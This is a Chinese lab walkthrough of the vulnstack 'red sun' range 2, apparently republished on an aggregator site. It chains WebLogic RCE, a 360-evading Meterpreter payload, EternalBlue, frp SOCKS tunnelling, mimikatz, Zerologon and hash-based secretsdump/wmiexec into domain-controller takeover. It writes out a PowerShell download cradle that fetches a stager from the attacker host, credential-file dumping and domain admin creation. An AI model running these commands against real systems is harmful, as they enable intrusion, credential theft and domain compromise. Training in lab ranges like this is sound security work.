vulnstack(红日)内网渗透靶场二: 免杀360拿下域控

news2024/11/28 13:36:07

前言

在我之前的文章vulnstack(一)打靶,我主要依赖Cobalt Strike进行后期渗透测试,这次我计划使用Metasploit框架(MSF)来进行这个阶段的工作。这个靶场与之前的不同之处在于它的WEB服务器安装了360安全卫士。虽然这增加了挑战的难度,但只要我们能够成功地进行免杀处理,就可以顺利进行渗透


靶场考察知识

1.weblogic漏洞

Oracle WebLogic是一个基于Java EE的应用服务器,是Oracle的云应用基础架构的关键组成部分。它支持创建、部署和运行分布式多层Java EE应用程序。

尽管WebLogic是一个强大而受欢迎的应用服务器,但它也有一些重要的安全漏洞

  • CVE-2017-3506:这是一个在WebLogic服务器中发现的远程代码执行(RCE)漏洞。它影响了WebLogic的WLS Security组件(针对WebLogic Server 10.3.6.0和12.1.3.0版本)。攻击者可以通过网络利用这个漏洞,无需用户交互或用户认证。如果成功,攻击者可以在WebLogic服务器主机上完全接管控制权。
  • CVE-2019-2725:这也是一个远程代码执行(RCE)漏洞,影响WebLogic服务器中的某个可反序列化组件。该漏洞在WebLogic服务器10.3.6.0和12.1.3.0版本中存在。成功利用该漏洞的攻击者可以通过网络,无需有效用户认证,控制受影响的系统。这个漏洞与CVE-2017-3506相似,但影响的组件和可利用的方式略有不同

2.CVE-2020-1472

CVE-2020-1472是一个严重的Windows安全漏洞,被微软命名为"Zerologon"。它存在于Windows服务器的Netlogon远程协议中,该协议被用于各种任务,包括用户和机器身份验证。这个漏洞由Dutch security firm Secura的研究人员发现。

Zerologon漏洞使攻击者能够在网络上的任何位置完全接管域控制器,并在没有用户交互的情况下执行此操作。一旦控制了域控制器,攻击者就可以执行各种恶意活动,例如添加新的域管理员账户,重置现有账户密码,执行代码等


靶场搭建

拓扑图

img


主机IP配置

此靶场用户的统一密码均为:1qaz@WSX 。NAT网卡为外网IP,其网段为192.168.47.0/24;VMnet3为内网IP,其网段为10.10.10.0/24

虚拟机系统网卡IP登录用户
kali(攻击机)NAT192.168.47.155
WEB(域内主机)NAT
VMnet3
192.168.47.129
10.10.10.80
mssql
DC(域控主机)VMnet310.10.10.10de1ay
PC(域内主机)NAT
VMnet3
192.168.47.160
10.10.10.201
mssql

WEB主机配置

首先将WEB主机的快照至恢复至v1.3

image-20230425201003236


输入.\de1ay表示登录本地的de1ay用户而非域用户

image-20230425202559121


随后要求你重置密码,点击确定

image-20230425202641813

此处我将密码重置为qQ123456,要注意的是,de1ay用户是本地管理员

image-20230425202702994


注销本地的de1ay用户,随后切换至de1ay域的mssql用户,这样做的是目的是提升难度,而不会一拿到的shell就是管理员权限

1


以管理员权限运行:C:\Oracle\Middleware\user_projects\domains\base_domain\bin\strartWebLogic.cmd

image-20230425210814996


打开物理机访问192.168.47.129:7001,测试WEB机的Weblogic服务是否运行成功,若出现以下界面则表示运行成功

image-20230425213343109


PC主机配置

同理, PC机也更改一下本地的de1ay用户的密码

image-20230425215909510

登录PC机后出现弹框,提示360运行需要管理员用户的权限

image-20230425203622494


Web渗透

信息收集

1.namp扫描

使用nmap扫描存活主机:nmap -sn 192.168.47.0/24,发现两台主机,分别是192.168.47.129192.168.47.160

image-20230427222637596


扫描第一个主机的开放端口:nmap -p- 192.168.47.129,http服务的80端口,mssql的1433端口,远程登录服务的3389端口,以及weblogic的7001端口,猜测这台机器很可能是web服务器

image-20230427223120393


扫描另外一个主机:nmap -p- 192.168.47.160,这台机器应该是员工区的PC机

image-20230427223819087


扫描指定端口的常见漏洞:nmap --script=vuln -p 80,135,139,445,1688,3389,7001 192.168.47.129,发现永恒之蓝ms17-010漏洞

image-20230427231454638


nmap --script=vuln -p 135,139,445,3389 192.168.47.160, pc机也发现了永恒之蓝漏洞

image-20230427224712874


2.dirsearch目录爆破

对web主机进行目录爆破,先爆80端口: python3 dirsearch.py -u http://192.168.47.129 -e* -x 403,404,没有可用信息

image-20230428120338028


继续爆weblogic服务的7001端口:python3 dirsearch.py -u http://192.168.47.129:7001 -e* -x 403,404

image-20230428125935638


访问控制台登录页面:/console/login/LoginForm.jsp,爆出敏感信息:weblogic的版本号为10.3.3.0

image-20230428130139833


3.weblogic漏洞扫描

使用weblogic漏扫工具扫描:python3 WeblogicScan.py -u 192.168.47.129 -p 7001,爆出CVE-2017-3506以及CVE-2019-2725,均为远程代码执行漏洞

image-20230428132119263


漏洞利用

1.ms07010漏洞利用

尝试使用MSF的ms17010远程命令执行EXP,但是失败了,估计是被360拦截掉了

image-20230427231823163


换另外一个EXP,尝试返回目标主机的meterpreter会话:use exploit/windows/smb/ms17_010_eternalblue ,但还是失败了,在web机可以看到是被360拦截了

image-20230427232137536

1


2.weblogic漏洞利用

msf搜索与weblogic相关的漏洞,根据之前漏扫爆出来的漏洞编号选择对应的年份(2017和2019),此处选择2019的

1

1


这里需修改EXP的设置, 由于目标主机是windows,需将target设为1,其他设置如下图所示,成功返回一个meterpreter会话,也能够正常获取uid, 但是很快就被360干掉了

image-20230429120030747

image-20230429120143693


使用cve-2017-3506的exp扫描漏洞是否存在:java -jar .\WebLogic-XMLDecoder.jar -u http://192.168.47.129:7001

image-20230429131419649


使用cve-2017-3506的漏洞利用exp:java -jar .\WebLogic-XMLDecoder.jar -s http://192.168.47.129:7001 /wls-wsat/CoordinatorPortType11 shell.jsp

image-20230429132144382


访问写进去的webshell(shell.jsp)执行任意命令,命令执行成功

image-20230429132027418


尝试远程加载cs的powershell命令:http://192.168.47.129:7001/wls-wsat/shell.jsp?password=secfree&command=powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.47.155:80/a'))", 但是执行失败了,cs没有上线

image-20230429163717896


3.写入webshell

尝试一键写入webshell,利用CVE-2020-2551漏洞,漏洞利用成功 (此webshell默认密钥为key)

1


打开哥斯拉连接webshell

1


进入webshell,测试执行远程命令

1


上传msf生成的木马,立马被360查杀掉了, 因此需对其做免杀处理, 此处我用到的免杀技术为动态调用api函数加载shellcode

image-20230503171747538

image-20230503172820475


上传免杀后的木马并执行, msf成功接收到meterpreter

image-20230503202635439

image-20230503202408729


后渗透

内网信息收集

先将fscan.exe上传至目标主机

image-20230503204547893


进入cmd shell命令执行:ipconfig /all,meterpreter执行命令sysinfo来获取目标系统的基本信息,此处获取到的信息整理如下:

  • 主机名: WEB
  • 当前域:de1ay
  • 内网ip地址:10.10.10.80
  • DNS服务器地址:10.10.10.10
  • OS:Windows 2008 R2
  • 系统架构:64位

1

1


内网漏洞扫描

使用fscan.exe扫描内网存活ip以及进行漏洞扫描:fscan.exe -h 10.10.10.1/24,发现内网的另一个IP是10.10.10.10,这个IP应该就是域控服务器的IP了,因为DNS服务器通常为域控服务器,而且这个域控服务器还存在永恒之蓝漏洞

1

1


永恒之蓝打域控

开启路由转发:run autoroute -s 10.10.10.0/24,目标是让msf能够访问内网的其他主机

此命令使用autoroute脚本来添加一个静态路由,换句话说,这个命令将你当前的 Meterpreter 会话作为一个路由器,可以让你访问到该子网内的其他主机

image-20230503231440843


尝试使用永恒之蓝exp对域控进行攻击,成功返回域控的meterpreter

image-20230503231725683


永恒之蓝提权Web主机

使用MSF查找可能的提权漏洞,使用post/multi/recon/local_exploit_suggester模块,Metasploit会建议可能适用于该系统的本地提权漏洞,然后使用run命令执行此模块。

meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION [your session id]
msf post(multi/recon/local_exploit_suggester) > run

漏洞扫描被意外终止,具体原因我也不清楚

image-20230530194243475


由于Web主机的当前用户是普通用户,因此需对它进行提权操作,永恒之蓝漏洞可以达到提权的效果,尝试对Web主机的内网IP进行漏洞利用,失败告终

1

1

使用frp内网穿透可以解决上述永恒之蓝漏洞利用失败的情况,首先设置frp服务端的配置文件frps.ini

[common]
bind_port = 7000  

[socks5]
type = tcp
auth_method = noauth  #表示这个代理不需要验证。如果你需要验证,可以设置为 userpass 并提供 username 和 password
bind_addr = 0.0.0.0
listen_port = 1080

kali执行命令启用frp服务端: ./frps -c ./frps.ini

image-20230529235913739


如下所示设置客户端的配置文件frpc.ini ,随后将frpc.exefrpc.ini都上传至web机上

[common]
server_addr = 192.168.47.155
server_port = 7000

[socks5]
type = tcp
remote_port = 1080
plugin = socks5  #用SOCKS5代理插件

setg proxies socks5:192.168.47.155:1080:setg命令用于设置全局选项,也就是说后续的所有网络操作都将通过这个socks5代理进行

setg ReverseAllowProxy true:将允许Metasploit的反向连接(reverse connections)通过代理,反向连接通常用于在成功利用某个漏洞后与目标系统建立连接,用于发送命令和接收结果

image-20230527165347717


payload必须设置为bind_tcp, 设置rhost为web主机的内网ip

image-20230527172530748

exp运行后成功返回当前Web主机的meterpreter会话

image-20230527172823829


mimikatz凭据提取

getuid查看当前用户权限为system, 这就意味着可以使用mimikatz进行凭据提取了

image-20230527172908844


加载mimikatz:load kiwi

image-20230527173155313


获取凭据:creds_all,这个命令将尝试提取存储在内存中的各种凭据

image-20230527173303819

image-20230527173717054


以下表格是上述获取到的凭据

账号和密码
DE1AYAdministrator/1qaz@WSX
DE1AYmssql/1qaz@WS
WEBde1ay/qQ123456

CVE-2020-1472打域控

修改proxychains的配置文件:vim etc/proxychains4.conf, 添加上socks5代理,其目的是让其他应用程序能够访问目标内网

image-20230527235349333


使用zerologon_tester.py来测试域控是否存在CVE-2020-1472漏洞,结果显示漏洞存在

proxychains4 python3 zerologon_tester.py [域控主机名] [域控ip]

image-20230527235651822


使用cve-2020-1472-exploit将域控制器账户的密码设置为空

域控制器账户是一个特殊的系统账户,用于运行域控制器服务和进行与其他系统的通信。这个账户通常是不可见的,并且不能用来登录或执行常规的用户操作

而"Administrator"通常是域管理员账户的默认名称,它拥有可以管理整个域,包括所有用户、计算机和服务的权限

在许多情况下,域管理员账户(例如Administrator)有足够的权限来管理域控制器和其它网络资源。然而,正如CVE-2020-1472(Zerologon)漏洞所展示的,攻击者如果能够以某种方式获得域控制器账户的权限,他们可能会绕过正常的认证机制并直接控制域控制器

所以总的来说,域控制器账户并不等同于Administrator账户,虽然两者都具有高级权限

proxychains4 python3 cve-2020-1472-exploit.py [域控名称] [域控ip]

image-20230528000136748


以下命令试图通过IP地址10.10.10.10访问de1ay.com域中的机器账户dc$,并且在这个过程中不需要密码,成功之后,它将尝试从目标服务器抓取并输出密码哈希值和其他凭据信息。此处将域管理员账户Administrator的哈希值复制下来。

proxychains impacket-secretsdump de1ay.com/dc\$@10.10.10.10 -no-pass

impacket-secretsdump是Impacket库的一个工具,用于抓取Windows服务器的密码哈希值和其他凭据信息

-no-pass:这是一个参数,表示我们在尝试访问目标服务器时不会提供密码。这个参数通常在已知存在某种漏洞(比如CVE-2020-1472)可以让我们在没有密码的情况下访问目标服务器时使用


以下命令利用impacket-wmiexec工具以及提供的NTLM哈希值,在IP地址为10.10.10.10的远程Windows服务器上以administrator用户的身份执行命令

proxychains impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 administrator@10.10.10.10

impacket-wmiexec:这是Impacket库中的一个工具,它可以在远程Windows服务器上执行命令

-hashes:这个选项允许你提供NTLM哈希值来进行身份验证,而不是使用密码,在这个命令中,你提供了一个LM哈希值(aad3b435b51404eeaad3b435b51404ee)和一个NTLM哈希值(161cff084477fe596a5db81874498a24

./administrator@10.10.10.10:这表示你希望以administrator用户的身份登录到IP地址为10.10.10.10的远程服务器

image-20230528002213882


reg save命令将指定注册表键保存到指定文件,其目的是为了后续破解用户密码

  • reg save HKLM\SYSTEM system.saveHKLM\SYSTEM 键包含了关于操作系统配置的信息
  • reg save HKLM\SAM sam.saveHKLM\SAM 键包含了关于用户和用户组的信息
  • reg save HKLM\SECURITY security.saveHKLM\SECURITY 键包含了关于系统安全设置的信息

1

1


使用lget命令从远程系统下载文件到本地系统,再使用del命令将这些文件从远程系统中删除

lget 命令常用在一些远程管理和操作的环境中,例如交互式shell会话或者一些远程执行工具中,用于从远程系统下载文件到本地系统

image-20230528133504199


尝试添加新用户,但是失败了,猜测可能是密码的设置强度问题

image-20230528143508278


参考之前获取到的域控账户的密码1qaz@WSX,此处我也将新用户的密码设置成和他一样的,添加成功了

net user Henry 1qaz@WSX /add /domain

image-20230528143557222


添加用户至管理员组: net group "Domain Admins" Henry /add /domain

image-20230528143715023


查询管理员组是否有刚添加的用户: net group "Domain Admins"

image-20230528143747571

查看本地目录,可以看到远程获取到的三个注册表文件

image-20230528143818874


这条命令是使用 Impacket 库中的 secretsdump.py 工具来从本地 Windows 注册表文件中提取凭据,将哈希值复制下来用于后续恢复域控制器账户的密码

impacket-secretsdump -sam sam.save -system system.save -security security.save local

image-20230528172110062


使用reinstall_original_pw.py,用于恢复域控制器账户的密码

proxychains python3 reinstall_original_pw.py dc 10.10.10.10 <hex值>

image-20230528173245217


再次尝试抓取域控制器账户的密码,若提示登录失败,则表示域控账户恢复成功

image-20230528173551705


登录域控主机

由于web主机开启了3389端口,使用rdesktop远程登录,账户密码就用mimikatz抓取到的WEB\de1ay 1qaz@WSX

image-20230528174554293


在运行对话框中输入mstsc呼出远程桌面连接

1


关闭域控机器的防火墙

1


查看域内主机都有哪些

1


通过ping主机名获取PC主机的内网IP

1


尝试使用管理员账户远程登录PC机, 登录成功

1


总结

  • 当针对内网主机使用MSF进行永恒之蓝漏洞攻击失败时,一个替代方案是首先利用frp实现内网穿透,然后再进行漏洞利用。这种方法可能会产生意想不到的效果。
  • 我原本计划通过Meterpreter的portfwd命令将域控的3389端口映射到kali本地端口,随后使用rdesktop进行远程登录。然而,这一计划并未成功,我推测这可能是因为域控做了某些限制,只允许10.10.10.0/24网段的主机进行远程登录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/590353.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Shell脚本攻略:循环语句while、until

目录 一、理论 1.while 2.until 3.break 4.continue 二、实验 1.实验一 2.实验二 3.实验三 4.实验四 5.实验五 一、理论 1.while (1)while用法 while循环满足条件执行&#xff0c;不满足不执行。 用于不知道循环次数&#xff0c;需要主动结束循环或达到条件结束…

二开项目权限应用全流程-按钮级控制

二开项目权限应用全流程-按钮级控制 员工A和员工B都可以访问同一个页面&#xff08;以员工管理为例&#xff09;&#xff0c;但是员工A可以导出excel&#xff0c;员工B就不可以导出excel(看不到按钮) 思路 用户登陆成功后&#xff0c;用户可以访问的按钮级别权限保存在point…

阿里巴巴淘天集团后端暑期实习面经

目录 1.面向对象三大特性2.重写和重载3.protected 关键字和 default 关键字的作用范围4.栈帧中有哪些东西&#xff1f;5.堆中有哪些区域&#xff1f;6.new 一个对象存放在哪里&#xff1f;7.CMS 收集器回收阶段8.CMS 收集器回收过程哪些需要暂停线程&#xff1f;9.HashMap JDK …

手机行业再多一条“鲶鱼”,小度青禾要打一场漂亮突围战?

文 | 智能相对论 作者 | 佘凯文 智能手机到底还是不是一门好生意&#xff1f; 在换机周期被无限拉长、市场竞争越发激烈、高端市场迟迟无法突破等共同背景下&#xff0c;智能手机到底还是不是一门好生意&#xff0c;成为行业内这两年被热议的话题之一。 由TechInsights发布…

腾讯云轻量应用服务器CPU主频多少?型号?

腾讯云轻量应用服务器CPU型号是什么&#xff1f;轻量服务器处理器主频&#xff1f;腾讯云服务器网账号下的CPU处理器型号为2.5GHz主频的Intel(R) Xeon(R) Gold 6133 CPU和2.4GHz主频Intel(R) Xeon(R) CPU E5-26xx v4&#xff0c;腾讯云轻量应用服务器不支持指定底层物理服务器的…

NodeJs内存快照分析

&#xff08;头等人&#xff0c;有本事&#xff0c;没脾气&#xff1b;二等人&#xff0c;有本事&#xff0c;有脾气&#xff1b;末等人&#xff0c;没本事&#xff0c;大脾气。——南怀瑾&#xff09; NodeJs内存分析的必要性 回顾过去&#xff0c;我们排查web应用问题的途径…

36岁大龄程序员全职接单三个月的感触

36岁大龄程序员&#xff0c;原以为逃过35岁危机&#xff0c;没想到在年前被优化&#xff0c;拿了N2&#xff0c;12w薪资后&#xff0c;我开始了全职接单的道路。现在每个月平均收入有个20K&#xff0c;一路走来挺有感触的&#xff0c;把自己的经验分享给大家。 赚钱&#xff0…

【Jmeter】生成html格式接口自动化测试报告

jmeter自带执行结果查看的插件&#xff0c;但是需要在jmeter工具中才能查看&#xff0c;如果要向领导提交测试结果&#xff0c;不够方便直观。 笔者刚做了这方面的尝试&#xff0c;总结出来分享给大家。 这里需要用到ant来执行测试用例并生成HTML格式测试报告。 一、ant下载安…

Android13蓝牙 停用绝对音量功能

Android13蓝牙 停用绝对音量功能 文章目录 Android13蓝牙 停用绝对音量功能一、前言二、代码实现分析过程1、查看SettingsLib源码资源2、查看原生Setitntgs 相关字符&#xff08;1&#xff09;xml 布局文件中的显示&#xff08;2&#xff09; java 代码文件中的控制串口上控制&…

Vue注册界面精美模板分享

文章目录 &#x1f412;个人主页&#x1f3c5;Vue项目常用组件模板仓库&#x1f4d6;前言&#xff1a;&#x1f380;源码如下&#xff1a; &#x1f412;个人主页 &#x1f3c5;Vue项目常用组件模板仓库 &#x1f4d6;前言&#xff1a; 本篇博客主要提供vue组件之注册组件源码…

硬件软件【部署】

开发板和主机 1.功能不同&#xff1a;帮助开发者进行嵌入式系统的开发和调试&#xff0c;具有较强的硬件拓展能力&#xff0c;可以连接各种传感器/执行器等外设。主机为满足一般的计算需求而设计&#xff0c;具备更强的计算和图形处理能力。 2.架构不同&#xff1a;开发板通常…

解决CentOS7用户管理报错问题:密码设为Aa12345@时报错,为什么Bji230309@可以而Aa12345@不行?

场景&#xff1a; 早上博友(CSDN博客朋友)给我发私信&#xff0c;问了一个问题&#xff1a; CentOS7上面运行的项目&#xff0c;在用户管理添加新用户时&#xff0c;密码设置成Aa12345时&#xff0c;会报错&#xff1a;Cannot read property message of undefined。查看/etc/…

【Apache 配置与应用】

目录 一、构建虚拟 Web 主机httpd服务支持的虚拟主机类型包括以下三种 二、基于域名的虚拟主机1&#xff0e;为虚拟主机提供域名解析2.为虚拟主机准备网页文档3.添加虚拟主机配置4.设置访问控制5.加载独立的配置文件6.在客户机中访问虚拟 Web 主机 三、基于IP地址的虚拟主机四、…

QSettings Class

QSettings类 QSettings类公共类型&#xff08;枚举&#xff09;公有成员函数静态成员函数函数作用这个类写文件的特征 QSettings类 QSettings类提供持久的独立于平台的应用程序设置。 头文件:#include< QSettings >qmake:QT core继承&#xff08;父&#xff09;:QObje…

Springboot +spring security,认证方式---实现HTTP摘要认证

一.简介 这篇文章来学习下security的认证方式其中的HTTP摘要认证 二.Spring Security的认证方式 2.1什么是认证 认证: 就是用来判断系统中是否存在某用户&#xff0c;并判断该用户的身份是否合法的过程&#xff0c;解决的其实是用户登录的问题。认证的存在&#xff0c;是为…

JavaScript高级三、深入面向对象

零、文章目录 JavaScript高级三、深入面向对象 1、编程思想 &#xff08;1&#xff09;面向过程介绍 面向过程&#xff1a;分析出解决问题所需要的步骤&#xff0c;然后用函数把这些步骤一步一步实现&#xff0c;使用的时候再一个一个的依次调用就可以了。 &#xff08;2&…

Android 架构模式

1.三个基本架构 ①MVC&#xff08;Model-View-Controller&#xff09; Model&#xff1a;代表数据模型&#xff0c;管理数据状态。 View&#xff1a;视图&#xff0c;即呈现给用户的UI&#xff0c;包括布局文件及Activity。 Controller&#xff1a;控制者&#xff0c;负责处…

KubeVirt技术介绍及实验部署

虚拟化简介 在云计算发展中&#xff0c;有两类虚拟化平台&#xff1a; openstack&#xff08;iaas&#xff09;&#xff1a;关注于资源的利用&#xff0c;虚拟机的计算&#xff0c;网络和存储Kubernetes&#xff08;pass&#xff09;&#xff1a;关注容器的编排调度&#xff…

设计模式之~代码模式

描述&#xff1a; 代理模式&#xff08;Proxy&#xff09;&#xff0c;为其他对象提供一种代理以控制对这个对象的访问。 结构图&#xff1a; 优点: 代理模式能将代理对象与真实被调用的目标对象分离 一定程度上降低了系统的耦合度&#xff0c;扩展性好 可以起到保护目标对象…

发明专利公开 -- 一种基于 JSON 文件 + Http Header 的支持多项目、多分支、多人协同的 Api Mock/代理 工具

现阶段主流的前后端分离的开发模式下&#xff1a;前后端采用并行开发方式&#xff0c;在前端开发过程中通常需要依附于共同约定的接口格式及数据。 该过程是一个并行过程&#xff0c;因此 Api Mock 模拟接口的返回变成了必要。同时&#xff0c;联调过程中&#xff0c;修改后端…